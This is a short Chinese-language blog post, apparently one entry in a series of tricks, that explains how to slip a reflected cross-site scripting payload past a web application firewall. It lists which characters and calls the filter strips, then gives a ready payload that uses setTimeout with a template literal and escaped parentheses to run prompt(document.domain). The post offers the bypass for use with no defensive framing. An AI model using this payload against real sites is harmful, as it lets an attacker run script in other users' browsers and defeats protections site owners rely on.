奇技淫巧(10) - XSS payload

2021-03-24 14:48:56 浏览数 (2)

XSS WAF绕过：

在JS上下文中进行反射，允许使用单引号

<, > ==> REMOVED '-anything()-' ==> '-anything-' '-alert()-' ==> REMOVED '-setTimeout``-' = allowed

Payload: '-setTimeout`promptu0028document.domainu0029`-'

alert prompt settimeout xss 反射

0 人点赞